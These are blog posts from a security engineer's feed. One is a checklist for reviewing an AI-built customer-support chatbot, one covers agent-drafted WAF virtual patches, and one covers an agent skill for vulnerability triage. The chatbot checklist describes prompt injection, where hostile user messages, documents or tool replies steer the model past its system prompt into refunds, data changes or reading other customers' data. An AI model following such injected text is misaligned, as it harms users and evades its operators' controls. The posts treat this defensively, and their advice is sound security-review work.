<li><p>GCP VPC Service Controls (Vertex / agent platform): <a href="https://cloud.google.com/vertex-ai/docs/general/vpc-service-controls">https://cloud.google.com/vertex-ai/docs/general/vpc-service-controls</a></p>
</li>
<li><p>MCP authorization: <a href="https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization">https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization</a></p>
</li>
<li><p>MCP security best practices: <a href="https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices">https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices</a></p>
</li>
<li><p>OpenAI sandbox security: <a href="https://developers.openai.com/api/docs/guides/agents-api/environments/security">https://developers.openai.com/api/docs/guides/agents-api/environments/security</a></p>
</li>
<li><p>Anthropic computer use: <a href="https://docs.anthropic.com/en/docs/agents-and-tools/tool-use/computer-use-tool">https://docs.anthropic.com/en/docs/agents-and-tools/tool-use/computer-use-tool</a></p>
</li>
<li><p>SLSA levels: <a href="https://slsa.dev/spec/v1.0/levels">https://slsa.dev/spec/v1.0/levels</a></p>
</li>
<li><p>OWASP AIBOM generator: <a href="https://github.com/GenAI-Security-Project/aibom-generator">https://github.com/GenAI-Security-Project/aibom-generator</a></p>
</li>
</ul>
<p><em>Research for this post was assisted by AI agents.</em></p>
]]></content:encoded></item><item><title><![CDATA[Security-review the agent app the coding agent just shipped]]></title><description><![CDATA[A practical checklist for AI-written support bots: check login, permissions, tools that change data, and logs before real customers use it.]]></description><link>https://nebulablogs.com/security-review-the-agent-app-the-coding-agent-just-shipped</link><guid isPermaLink="true">https://nebulablogs.com/security-review-the-agent-app-the-coding-agent-just-shipped</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sat, 05 Sep 2026 22:44:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/1902322a-daf5-4517-9f94-ee3f22d10d8d.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When a coding agent builds a a brand-new AI integration on your ecommerce site (for example), you often get a big PR and a short note that "auth and tool calling are done." If your job is to check the code yourself, then decide if it is ready for real users and their personal data, this post might be useful to you.</p>
<p><strong>This post is a review method.</strong> Example app: one company's support chat, using a hosted LLM (OpenAI, Anthropic, and similar), search over help docs plus CRM/tickets/orders, and tools that can change data (create tickets, update CRM, refund, send email). After reading, you should be able to sketch how a message flows, ask the coding agent for a file-backed inventory, and mark Look for / Ask / Pass if. Cover the whole surface first; dig deeper where a bad model answer can trigger a write.</p>
<p>Checks are aligned with current OWASP LLM, agentic, and application-security guidance. Links are in References if you want the source docs.</p>
<p>The post can be converted into as a resource to do a quick security review and catch security issues or ambiguities in your codebase.</p>
<hr />
<h2>What the review is for</h2>
<p>Vibe coding ships features fast. Login checks, permission checks, and tool execution still need to live in your app code. Coding agents often describe protections that only exist in comments or in the chat bot's system prompt ("always check ownership"). A prompt is instructions to the model. It is not the same as code that blocks a bad request.</p>
<p>Review loop:</p>
<ol>
<li><p><strong>Write down what you think you built</strong> (users, data, tools, how agents are wired).</p>
</li>
<li><p><strong>Sketch how one chat message moves</strong> through the system.</p>
</li>
<li><p><strong>Ask the coding assistant for an inventory</strong>: services, tools, secrets, logging. Require file paths.</p>
</li>
<li><p><strong>Check behavior in code</strong>: session on each request, "can this user see this order?", gate before tools run, search filters, logs.</p>
</li>
<li><p><strong>Decide</strong> ship, fix, or shrink scope (especially tools that write).</p>
</li>
</ol>
<p>Goal: confirm the right checks exist in code before you ship, fix, or cut scope.</p>
<hr />
<h2>Write down the product shape first</h2>
<p>Put this in your review notes before you dig through files. Change it if the repo is different.</p>
<table>
<thead>
<tr>
<th>Piece</th>
<th>Review assumption</th>
</tr>
</thead>
<tbody><tr>
<td>Users</td>
<td>Guests and logged-in customers (assume some users are hostile)</td>
</tr>
<tr>
<td>Setup</td>
<td>One company / one deploy; still keep customer A's data away from customer B</td>
</tr>
<tr>
<td>Data</td>
<td>Personal data in chat, CRM, tickets, orders</td>
</tr>
<tr>
<td>Model</td>
<td>Hosted LLM API</td>
</tr>
<tr>
<td>Tools</td>
<td>Reads and writes (ticket, CRM, refund, email)</td>
</tr>
<tr>
<td>Agents</td>
<td>One main agent + tools, or a router that calls specialist agents</td>
</tr>
</tbody></table>
<p>One company on one deploy is still not a reason for one shared CRM key that can see every customer. Each user should only reach their own data.</p>
<hr />
<h2>Step 1: Sketch how a message flows</h2>
<p>Ask the coding agent for a diagram of the chat path, then check these six places where trust changes:</p>
<pre><code class="language-plaintext">Guest / logged-in / attacker
        │ HTTPS
        ▼
[Chat API] -- login check + rate limits
        │
        ▼
[Main agent]  or  [Router → specialists]
        │
   ┌────┼──────────┬──────────┐
   ▼    ▼          ▼          ▼
 LLM   Tool       Doc        Logs
 API   gate       search
         │
    CRM / Tickets / Orders
</code></pre>
<ol>
<li><p>Browser ↔ API</p>
</li>
<li><p>Agent ↔ LLM (user text, retrieved docs, and tool replies all go into the model context)</p>
</li>
<li><p>Agent ↔ tool gate (model <em>suggests</em> a tool; your code <em>allows or denies</em> it)</p>
</li>
<li><p>Tool ↔ backend (API keys and "is this their order?")</p>
</li>
<li><p>Ingest ↔ search index</p>
</li>
<li><p>App ↔ logs (prompts and answers often contain personal data)</p>
</li>
</ol>
<p>For each place, note which code enforces the rule, and what still works if the chat model follows a malicious user message instead of your system prompt.</p>
<p>OWASP treats prompt injection as something you contain. Private data + untrusted text + tools that can act is the high-risk mix. Find that mix in the design early.</p>
<hr />
<h2>Step 2: Inventory, then verify</h2>
<p>Use the coding agent to find and summarize code. Treat answers as leads. Open the files it names and score Pass if on what the code does, not on the summary alone.</p>
<h3>Prompts for inventory</h3>
<ol>
<li><p>List every service on the customer chat path and where login and permission checks run. Cite files.</p>
</li>
<li><p>List LLM tools: name, read vs write, which credentials they use, whether a human must confirm.</p>
</li>
<li><p>Show how the logged-in user id reaches CRM and order queries. Is there one shared service account for everything?</p>
</li>
<li><p>List every untrusted text source that enters the model context.</p>
</li>
<li><p>Where does the code check that a ticket or order id belongs to this user? Cite the function.</p>
</li>
<li><p>Which tools change data, and what runs before they execute?</p>
</li>
<li><p>Show the search/query filters. Is user id required when retrieving docs?</p>
</li>
<li><p>What is logged per chat turn, LLM call, and tool call? Is there one request id across them?</p>
</li>
<li><p>Where are rate limits and max tool/agent loops configured?</p>
</li>
<li><p>How are model versions and tool packages pinned, and can you turn one tool off in config?</p>
</li>
</ol>
<p>Require file paths. "We check ownership in the system prompt" fails this step.</p>
<hr />
<h2>Step 3: Look for / Ask / Pass if</h2>
<p>Scan the whole app first. Spend more time on permissions, the tool gate, and prompt injection. Those are common gaps in AI-generated agent apps.</p>
<h3>Login (who is talking?)</h3>
<p><strong>Look for:</strong> Separate guest vs logged-in paths; session or token checked on every message, not only when the page loads.</p>
<p><strong>Ask:</strong> What can a guest session call?</p>
<p><strong>Pass if:</strong> Guests cannot reach CRM, orders, or tools that write.</p>
<h3>Permissions (what can they touch?)</h3>
<p><strong>Look for:</strong> Checks in your server code, independent of ids the model picked.</p>
<p><strong>Ask:</strong> Does <code>get_order(other_users_id)</code> fail in the backend? Can a normal customer call refund or admin tools?</p>
<p><strong>Pass if:</strong> Ownership is checked with the logged-in user before data returns or a write runs. Prefer credentials scoped to that user over one CRM key with access to everyone.</p>
<h3>Prompt injection (assume the chat model can be steered)</h3>
<p><strong>Look for:</strong> User messages, history, retrieved docs, tickets, and tool replies treated as untrusted input. No API keys or "who can see what" rules living only in the system prompt.</p>
<p><strong>Ask:</strong> If the chat model ignores the system prompt, which protections still run?</p>
<p><strong>Pass if:</strong> Tool allowlists and permission checks still run in app code. Put the rules in the tool gate and backends; keep the system prompt as guidance only.</p>
<h3>Tool gate (the deep part of this review)</h3>
<p><strong>Look for:</strong> An allowlist of tools, strict argument shapes, no open shell or <code>eval</code>. For writes, a confirm step that shows the real args (order id, amount, email).</p>
<p><strong>Ask:</strong> Which function runs after the model suggests a tool and before the CRM/order call?</p>
<p><strong>Pass if:</strong> Suggest → gate checks user + args → (for writes) human confirms → backend. Any "fetch this URL" tool blocks internal/private network targets. You can disable one tool in config without redeploying the model.</p>
<p>If that gate is missing and write tools exist, turn writes off or keep the bot on FAQ search until the gate exists. Fix it in code; a stronger system prompt alone still leaves writes open.</p>
<h3>Doc search (RAG)</h3>
<p><strong>Look for:</strong> User or session filters applied when you search, not only after you already fetched chunks.</p>
<p><strong>Ask:</strong> Can customer tickets land in a shared FAQ index automatically?</p>
<p><strong>Pass if:</strong> Search cannot return another customer's chunks.</p>
<h3>Secrets and the hosted LLM</h3>
<p><strong>Look for:</strong> Provider API keys only on the server. Retention / training settings written down.</p>
<p><strong>Pass if:</strong> The browser never holds the provider key. Prompt and completion logs are locked down like other personal-data stores.</p>
<h3>Logging</h3>
<p><strong>Look for:</strong> One request id across user message, LLM call, tool suggestion, allow/deny, backend call, and reply.</p>
<p><strong>Ask:</strong> Can you rebuild a bad or unwanted refund from logs?</p>
<p><strong>Pass if:</strong> Tool name, redacted args, allow/deny, and which user are logged.</p>
<h3>Abuse and loops</h3>
<p><strong>Look for:</strong> Limits on messages, tokens, tool loops, and spend; a hard stop on runaway agent loops.</p>
<p><strong>Pass if:</strong> A runaway loop hits a configured stop.</p>
<h3>What the UI does with model output</h3>
<p><strong>Look for:</strong> Model output treated as untrusted in the UI.</p>
<p><strong>Pass if:</strong> Model Markdown/HTML cannot run script in the chat page or freely load remote images.</p>
<h3>Multiple agents (only if you have a router)</h3>
<p><strong>Look for:</strong> Each specialist only gets the tools it needs; the planner cannot skip the write gate.</p>
<p><strong>Pass if:</strong> A FAQ agent cannot call refund or other write tools.</p>
<hr />
<h2>Read-only tools vs tools that change data</h2>
<table>
<thead>
<tr>
<th></th>
<th>Read-only tools</th>
<th>Tools that write</th>
</tr>
</thead>
<tbody><tr>
<td>Review focus</td>
<td>One user reading another's data, personal data sent to the LLM vendor, wrong answers</td>
<td>Same, plus bad refunds, emails, or CRM changes via tool misuse</td>
</tr>
<tr>
<td>Pass bar</td>
<td>Server checks ownership on reads</td>
<td>Permission checks on the action and the object, plus confirm of write args</td>
</tr>
<tr>
<td>Reasonable ship gate</td>
<td>Logging and rate limits in place</td>
<td>Tool gate and confirm path present in code</td>
</tr>
</tbody></table>
<p>If the inventory shows write tools with no gate, treat that as a ship blocker: disable writes, or keep the bot on FAQ search until the gate lands.</p>
<p>One main agent is simpler to review. If you use a router and specialists, put writes behind the specialist with the tightest tool list and review that list carefully.</p>
<hr />
<h2>Pass / fail sheet</h2>
<p>Fill this in after you have file citations.</p>
<table>
<thead>
<tr>
<th>Outcome</th>
<th>Pass looks like</th>
</tr>
</thead>
<tbody><tr>
<td>Guest isolation</td>
<td>Guest session cannot call personal-data or write tools</td>
</tr>
<tr>
<td>Ownership checks</td>
<td>Another user's order or ticket id fails in the service</td>
</tr>
<tr>
<td>Tool gate</td>
<td>Tool cannot run without the gate's validation</td>
</tr>
<tr>
<td>Write confirmation</td>
<td>Refund, email, or CRM update requires confirm of the real args</td>
</tr>
<tr>
<td>Search isolation</td>
<td>Search cannot return another user's chunk</td>
</tr>
<tr>
<td>Secret handling</td>
<td>Provider key absent from client and system prompt</td>
</tr>
<tr>
<td>Tied-together logs</td>
<td>One id ties message → LLM → tool → allow/deny → backend</td>
</tr>
<tr>
<td>Loop / spend stop</td>
<td>Max loops or spend cap exists and is wired</td>
</tr>
<tr>
<td>Kill switch</td>
<td>Config can disable a tool without a model redeploy</td>
</tr>
</tbody></table>
<p>Failed items on write paths are ship blockers. Failed logging items can often be fixed on a short deadline. That call is part of your review.</p>
<hr />
<h2>Putting it together</h2>
<p>A useful review packet includes: product shape table, message-flow sketch, inventory with file paths, Pass if results, and an explicit ship / fix / shrink-scope decision for each write tool.</p>
<p>If a protection exists only in a system prompt or only in the coding agent's chat summary, mark it missing until you can point to code that enforces it.</p>
<hr />
<h2>References</h2>
<ol>
<li><p>OWASP GenAI LLM Top 10 2026: <a href="https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/">https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/</a> · canonical Markdown: <a href="https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/tree/main/2026/final">https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/tree/main/2026/final</a></p>
</li>
<li><p>OWASP Top 10 for Agentic Applications 2026: <a href="https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/">https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/</a> · PDF: <a href="https://genai.owasp.org/download/52117">https://genai.owasp.org/download/52117</a></p>
</li>
<li><p>OWASP ASVS 5.0.0: <a href="https://owasp.org/www-project-application-security-verification-standard/">https://owasp.org/www-project-application-security-verification-standard/</a> · <a href="https://github.com/OWASP/ASVS/tree/v5.0.0">https://github.com/OWASP/ASVS/tree/v5.0.0</a></p>
</li>
<li><p>OWASP API Security Top 10 2023: <a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/">https://owasp.org/API-Security/editions/2023/en/0x11-t10/</a></p>
</li>
<li><p>NIST AI RMF 1.0 (AI 100-1) and GenAI Profile (AI 600-1): <a href="https://doi.org/10.6028/NIST.AI.100-1">https://doi.org/10.6028/NIST.AI.100-1</a> · <a href="https://doi.org/10.6028/NIST.AI.600-1">https://doi.org/10.6028/NIST.AI.600-1</a></p>
</li>
<li><p>MITRE ATLAS (prompt injection AML.T0051; supply chain AML.T0010): <a href="https://atlas.mitre.org/">https://atlas.mitre.org/</a></p>
</li>
<li><p>OWASP Agent Control Standard (ACS) overview: <a href="https://genai.owasp.org/resource/agent-control-standard-acs/">https://genai.owasp.org/resource/agent-control-standard-acs/</a></p>
</li>
<li><p>Research notes behind this post: <code>research/ai-agent-chat-app-security-architecture.md</code></p>
</li>
</ol>
<p><em>Research for this post was assisted by AI agents.</em></p>
]]></content:encoded></item><item><title><![CDATA[Agentic AI is evolving the WAF]]></title><description><![CDATA[How to turn reachability, runtime evidence, and a judged WAF rule into a temporary block for zero-days and other critical, time-sensitive vulns]]></description><link>https://nebulablogs.com/agentic-ai-is-evolving-the-waf</link><guid isPermaLink="true">https://nebulablogs.com/agentic-ai-is-evolving-the-waf</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Fri, 04 Sep 2026 23:20:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/ba8d876e-820d-476e-9fb4-e414c4a7017e.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When a critical web vulnerability lands, the software patch often still needs days. Attackers do not wait that long. From January through June 2026, CrowdStrike observed that 88% of exploitation against vulnerabilities with a public proof of concept started within 48 hours of the PoC release. Verizon's 2026 DBIR puts the median time to fully remediate a CISA KEV vulnerability at 43 days.</p>
<p><strong>Agentic WAF rules buy that gap as a virtual patch:</strong> a narrow, judged, tested block on the exploit path for exposed routes while the real fix ships.</p>
<p><strong>This post is that pipeline.</strong> Reachability and inventory decide whether the vuln is a virtual-patch candidate. Runtime evidence and a separate judge shape a rule in your WAF dialect. CI replay and shadow mode keep promotion safe. I started from Cloud Security Podcast's conversation with Adobe on agentic WAF pipelines.</p>
<hr />
<h2>Virtual patching is the time-sensitive control</h2>
<p>Virtual patching blocks the specific exploit traffic at the edge while the software patch goes through its normal path. Patches are the lasting fix. Rules buy hours and days.</p>
<p>That control matters for three cases:</p>
<ol>
<li><p>A disclosed critical CVE with a public PoC and an internet-facing workload that still runs the vulnerable package.</p>
</li>
<li><p>A CISA KEV or vendor-urgent advisory where the patch window is longer than the exploit window.</p>
</li>
<li><p>Suspected zero-day activity: exploit-shaped requests on a route, no advisory yet, and you need a temporary request pattern while IR continues.</p>
</li>
</ol>
<p>Managed rulesets still cover common attack classes. The painful gap is the new or urgent exploit path: no signature yet, a patch ticket measured in days, and attackers already mutating encodings and request fields.</p>
<p>A conventional WAF sees an HTTP request. It usually does not know which package sits behind the hostname, whether the asset is public, what normal traffic looks like for that route, or whether a software patch can ship in an hour or in three weeks. Narrow virtual-patch rules need that context: inventory, architecture, threat models, recent logs.</p>
<hr />
<h2>Reachability decides what gets a virtual patch</h2>
<p>External attack surface management and cloud inventory answer a simple triage question: is this vulnerability on something attackers can hit now?</p>
<p>A CVE in a library you do not expose is a patch ticket. A CVE on an internet-facing service is a virtual-patch candidate. Frontier models start from what is reachable now, then test, rank and chain those exposures, often before your next CMDB sync. Inventory has to feed the WAF loop in near real time, or you spend the exploit window on the wrong hosts.</p>
<p>Large estates make the authoring seam worse. Acquisitions and independent product teams leave security engineers managing several commercial and open-source WAFs. Consolidate the <em>authoring</em> path across those dialects so a candidate rule can land in the right product without waiting on a single-vendor migration.</p>
<hr />
<h2>Build the agentic virtual-patching loop</h2>
<p>Most of the loop should stay deterministic. Put the model where judgment helps: reading the advisory or incident package, drafting a narrow rule, and scoring it against a written rubric.</p>
<p>For a disclosed critical vulnerability:</p>
<ol>
<li><p>Ingest the advisory and available proof of concept.</p>
</li>
<li><p>Query inventory for affected packages and workloads.</p>
</li>
<li><p>Confirm public hostnames or IP addresses. Reachability matters more than SBOM hits alone.</p>
</li>
<li><p>Pull recent requests, traces and security signals for those routes.</p>
</li>
<li><p>Draft a narrow candidate rule in the required WAF dialect. Score it with a separate judge model and a written rubric.</p>
</li>
<li><p>Replay exploit variants and known-good traffic in CI, then behind the real WAF in a private environment.</p>
</li>
<li><p>Deploy in count or shadow mode. Require a human, or a separate promote job, before blocking.</p>
</li>
</ol>
<p>For suspected zero-day activity with no advisory, replace step 1 with an incident package: suspicious requests, decoded payloads, affected routes, response codes and traces. Infer a temporary request pattern. Treat the root cause as unknown until an advisory exists.</p>
<p>A virtual patch blocks an observed exploit path. It does not replace the software patch, and it does not prove the vulnerability is fully understood.</p>
<p>An agent here is a model plus a harness: APIs, secrets, shell, memory, loops and constraints. Constraints are the point. "Create a shadow rule for this hostname" is a different permission from "enable blocking on every edge product we own."</p>
<p>Scope the pipeline to HTTP(S) application exploit paths a WAF can inspect.</p>
<hr />
<h2>A thinner version still covers the critical path</h2>
<p>Imagine a 200-person SaaS company with one managed cloud WAF, a CNAPP or EASM view of internet-facing assets, and an observability platform.</p>
<p>The first useful version can be small:</p>
<ul>
<li><p>A job watches GitHub Advisories, CISA KEV and vendor bulletins for critical and actively exploited issues.</p>
</li>
<li><p>Inventory confirms the component sits on an internet-facing workload and maps it to an owner and hostname.</p>
</li>
<li><p>Observability supplies sampled requests and known-good traffic for that route.</p>
</li>
<li><p>A rule agent produces a production-dialect rule and a ModSecurity rule for local tests.</p>
</li>
<li><p>CI replays the exploit, mutations and normal application flows.</p>
</li>
<li><p>The agent opens a pull request and deploys in count mode.</p>
</li>
<li><p>A human reviews match volume and promotes to block.</p>
</li>
</ul>
<p>MCP can replace several bespoke integrations so the agent queries inventory and observability through one tool interface. Treat that harness as a security boundary: OAuth and per-tool scopes, separate read and write identities, no token passthrough, human approval for blocking, egress restrictions (especially to cloud metadata), and complete logs of tool arguments, generated rules and promotion decisions.</p>
<p>The orchestrator can be a workflow service, a small service or CI. Product choice matters less than the control boundary. Its identity may read inventory and telemetry, create a candidate rule and enable shadow mode. It may not delete rules or enable blocking across every application.</p>
<p>One thing worth calling out: every virtual patch should carry the vulnerability or incident ID, affected hostname, evidence, test results, owner and expiry date. A technically correct rule with no owner or rollback path becomes permanent security debt.</p>
<hr />
<h2>Prove the rule before you scale the agent</h2>
<p>Pick an internet-facing application with good telemetry. Connect its inventory record to one WAF API. Build a corpus of normal requests. Run the pipeline against a historical critical web CVE and measure three things:</p>
<ol>
<li><p>Did it block the known exploit?</p>
</li>
<li><p>Did simple exploit mutations bypass it?</p>
</li>
<li><p>Did it break any recorded customer flow?</p>
</li>
</ol>
<p>Keep promotion manual until the answers are repeatable. Then add the telemetry-led trigger for suspected zero-day patterns, and a second application.</p>
<p>If those three measures hold on one route, expand hostname by hostname. Each virtual patch still needs an owner, an expiry date, and a path back to the software fix.</p>
<h2>References</h2>
<ul>
<li><p>Cloud Security Podcast, <a href="https://www.cloudsecuritypodcast.tv/videos/how-adobe-uses-ai-agents-for-building-a-waf-pipeline">How Adobe Uses AI Agents for building a WAF Pipeline?</a> (Ammar Alim, 4 Aug 2026).</p>
</li>
<li><p>CrowdStrike, <a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-threat-hunting-report/">2026 Threat Hunting Report</a>.</p>
</li>
<li><p>Verizon, <a href="https://www.verizon.com/business/resources/T158/reports/2026-dbir-data-breach-investigations-report.pdf">2026 Data Breach Investigations Report</a>.</p>
</li>
<li><p>Wiz Research, <a href="https://www.wiz.io/blog/the-risk-hiding-behind-exposed-mcp-servers">The Security Risks Hiding Behind Exposed MCP Servers</a>.</p>
</li>
<li><p>Model Context Protocol, <a href="https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices">Security Best Practices</a>.</p>
</li>
</ul>
<p><em>Research for this post was assisted by AI agents.</em></p>
]]></content:encoded></item><item><title><![CDATA[Agent skills in security engineering: encoding the vulnerability triage loop]]></title><description><![CDATA[Automating the ambiguous parts of vulnerability management with Agent skills]]></description><link>https://nebulablogs.com/agent-skills-in-security-engineering-encoding-the-vulnerability-triage-loop</link><guid isPermaLink="true">https://nebulablogs.com/agent-skills-in-security-engineering-encoding-the-vulnerability-triage-loop</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Mon, 31 Aug 2026 23:09:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/947aed09-8370-485e-a3b4-f3cda83cb2ba.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Working through the security queue, I keep hitting the same friction. A CVE lands with a CVSS 9.8 and a recommended library bump. Looks clear. Except: is this service actually internet-facing, or is it behind an internal proxy? Did we accept this risk last quarter and document it somewhere? Does the team that owned it six months ago still own it, or did they fold into a new squad? Is there already a ticket for the same thing in a different scanner? Is there a change freeze? Does the upgrade even qualify for the exception that's written in a wiki page nobody's looked at since the last reorg?</p>
<p><strong>The bottleneck isn't the CVE. It's reconstructing enough living context about the system, the team, and the org to decide what to do, and whether the scanner even named the right fix.</strong></p>
<p>This post is about how I'm encoding that loop as an agent skill: a scheduled run or a triggered agent that collects the context a security engineer would collect, so the engineer spends time on the disagreements rather than re-collecting the facts.</p>
<hr />
<h2>The eight questions CVSS won't answer</h2>
<p>A finding arrives with a name, a severity, a package, sometimes a suggested upgrade. The questions that decide whether anyone acts live somewhere else, and they go stale as the org changes: new microservices, new teams, a reorg, a scope change, a service that was internal last month and is now behind a public load balancer.</p>
<table>
<thead>
<tr>
<th>Ambiguity</th>
<th>Why the scanner won't answer it</th>
</tr>
</thead>
<tbody><tr>
<td>Exposure</td>
<td>Internal vs internet-facing, authenticated vs anonymous, network controls in front. The CVE doesn't know about your load balancer.</td>
</tr>
<tr>
<td>Data and criticality</td>
<td>What the system stores or processes, and whether it's on the critical path. CVSS doesn't read the data-classification sheet.</td>
</tr>
<tr>
<td>Existing treatment</td>
<td>Documented risk acceptance, compensating controls, WAF rules, segmentation. Scanners don't pick these up.</td>
</tr>
<tr>
<td>Duplicate</td>
<td>The same CVE in three tools, or the same service under two names. Closing one row does nothing to the others.</td>
</tr>
<tr>
<td>Change path</td>
<td>Can this be merged quickly, or does it need approval, a window, a freeze exception?</td>
</tr>
<tr>
<td>Exception</td>
<td>What's the written exception, and does <em>this</em> change qualify?</td>
</tr>
<tr>
<td>SLA</td>
<td>Target time-to-remediate for <em>this</em> class of asset, not the vendor's default.</td>
</tr>
<tr>
<td>Authority</td>
<td>Who can accept residual risk. Who owns the service <em>today</em>.</td>
</tr>
</tbody></table>
<p>FIRST's EPSS is explicit about this gap: it estimates the probability a CVE will be exploited in the next 30 days, and the user guide says it <strong>should never be treated as a risk score</strong>. Accessibility of the asset, the kind of weakness, the asset's purpose: those still have to come from you.</p>
<p>NIST SP 800-40 Rev. 4 makes the same point from the remediation side: patching is only one of four risk responses. Avoid (which includes taking the service off the internet) is also on the table. The planning for which systems are unpatchable, which can only be rebooted in a monthly window, and which maintenance group they belong to is organisational knowledge. It's not in the scanner.</p>
<hr />
<h2>Using SSVC as the decision framework</h2>
<p>Carnegie Mellon's SSVC, which CISA uses for its own prioritisation messaging, is a decision tree, not a score. The deployer tree maps four inputs (Exploitation, System Exposure, Automatable, Human Impact) to Defer, Scheduled, Out-of-Cycle, or Immediate.</p>
<p>System Exposure is Small, Controlled, or Open. Open means "internet or another widely accessible network where access cannot plausibly be restricted." The spec's default if you don't know: treat it as Open. That default is the whole argument for not letting an agent skip the cloud validation step.</p>
<p>SSVC doesn't invent owners, freeze calendars, or exception text. It tells you which questions, once answered, produce a decision that leadership already agreed to. The work is getting those answers from systems that disagree with each other, on Tuesday, after the reorg.</p>
<hr />
<h2>The context loop I run on every alert</h2>
<p>My job isn't "file a ticket." It's: understand the vulnerability, then collect the relevant context from memory and from Jira, GitHub, Slack, the security tools, observability, internal policy docs, last quarter's risk register, and synthesise a decision: what needs to be fixed, by when, by whom, and how.</p>
<p>That loop already has a trigger: a daily queue, a new tool alert, a high-risk vendor disclosure, a mailing list hit. It already has a write-back: the FAQ that keeps getting the same question, the risk register, the exception list. If those documents don't exist, every triage re-derives the same answers and they diverge.</p>
<p>Anthropic describes an agent skill as an onboarding guide for a new hire: procedural knowledge plus organisational context, loaded when it's relevant. That's the right frame. A queryable API over the scanners still returns a CVE. It doesn't tell you what you'd actually do with the row. The skill is what the agent is supposed to do once it can reach Jira and the cloud API.</p>
<hr />
<h2>The triage skill - an abstract example</h2>
<p>A triage skill isn't a prompt that says "be a senior security engineer." It's a list of questions that must be answered from a named source, with a rule for what happens when the source is missing.</p>
<pre><code class="language-markdown"># Vulnerability triage

Do not assign this finding until every required field has a source.
If a source is missing, say so. Do not invent an owner.

## 1. Pull the finding
CVE / rule id, affected package or image, first-seen, scanner of record.

## 2. Identify the system
Service name, repo, cloud project, environment.
If the names disagree, stop and list the candidates.

## 3. Exposure (verify in cloud or code, not from ticket text)
Internet-facing? Authn in front? Network controls?
SSVC System Exposure: Small / Controlled / Open.
If unknown: Open.

## 4. Organisational context
Owner team *today*. Data class. Criticality.
Duplicate tickets. Prior risk acceptance or compensating control.
Change freeze. Written exception, and whether this change qualifies.
Who can accept residual risk. Target SLA for this asset class.

## 5. Decide the action
NIST response: accept / mitigate / transfer / avoid.
Intended fix in one sentence. If the scanner's fix and the exposure
fix disagree, prefer the exposure fix and say why.

## 6. Write back
Update the ticket. If this answers a recurring question, update the
FAQ or risk register. Do not leave the answer only in chat.
</code></pre>
<p>Step 3 is the critical one. An LLM that only sees the CVE will tell you to bump the library. That can be right. It can also be the wrong object. A service marked internal in a wiki and actually published through a load balancer is Open, whatever the wiki says. A tool that should never have been on the internet doesn't get a patch as the primary action; it gets taken off the internet. That's the NIST avoid response and SSVC's "reduce exposure." The agent has to look at the cloud resource, the ingress, the IAM, the repo's actual config. Ticket text is a rumour.</p>
<p>Triggers stay boring: a cron for the daily queue, a webhook from the scanner or the disclosure inbox. The output is the filled fields, the most likely next steps an engineer would take, and the gaps that still need a human.</p>
<hr />
<h2>The triage agent and the progress agent</h2>
<p>Once the finding is triaged and assigned, a different loop starts. Some intended fixes are a pull request. Some are a change that needs approval because the blast radius is small but not zero, and past cases say so. Some are "page the on-call," which is a PagerDuty action, not a Jira comment.</p>
<pre><code class="language-plaintext">alert / disclosure / daily cron
        |
        v
[ triage skill ] -- tools --&gt; scanners, Jira, GitHub, cloud, policy docs
        |
        +--&gt; ticket: owner, SLA, intended fix, gaps
        |
        +--&gt; if the intended fix is bounded: PR or approval request
        +--&gt; if the written rule says so: page
        |
        v
[ progress skill ] --&gt; SLA drift, freeze, ownership change, duplicates
        |
        v
write-back: FAQ, risk register, exceptions
</code></pre>
<p>The bounded auto-fix path:</p>
<ol>
<li><p>The intended fix, from triage, is a code or config change with a known small blast radius.</p>
</li>
<li><p>The agent opens a PR (or a change request) that cites the finding, the exposure check, and the SLA.</p>
</li>
<li><p>CI and the usual reviewers still run. The agent doesn't merge to production.</p>
</li>
<li><p>If the case matches a written "page immediately" rule (KEV plus Open exposure, or a disclosure that is already being exploited), it pages. It doesn't wait for the daily standup.</p>
</li>
</ol>
<p>The progress agent watches work that's already assigned. Tickets don't close themselves because someone reacted in Slack. It checks: is the PR up, is the SLA slipping, did the freeze start after assignment, did ownership move, did a new duplicate land. It reports drift; it doesn't silently re-prioritise the queue unless the skill says a KEV-class finding can jump the line.</p>
<p>Write-back is part of both loops. Every novel exception, every "this service is internal despite the public IP we just removed," every FAQ that would otherwise be re-asked next week belongs in the reference docs the next run will read. Otherwise the skill is doing Slack archaeology on its own previous answers.</p>
<hr />
<h2>Hard stops: what the agent must not invent</h2>
<p>Do not invent an owner, a risk acceptance, a freeze exception, a duplicate without the other ticket id, or a production change that skipped the approval path the skill named.</p>
<p>Those are the failure modes that make this worse than an engineer with too many tabs. An invented owner assigns the wrong team and burns a week. A skipped freeze takes down a payment window. A hallucinated "already accepted" leaves an Open service sitting on a KEV. The skill's job is to make those refusals cheap: missing source, stop and say so.</p>
<p>The right calibration: replay last month's tickets against the skill. Did it match the owner, the exposure, the action the engineer actually took? If it keeps recommending library bumps on services that were taken off the internet, the skill is wrong, not the model.</p>
<hr />
<h2>Dual tracks of Agentic security work</h2>
<p>Agentic security work is arriving along two tracks that people keep collapsing into one. Track one is find-and-patch the code: automated discovery, patch generation, upstream contributions. Track two is run the security org: take an alert, gather living context, validate it against the cloud, decide, assign, maybe open a PR, then watch the work.</p>
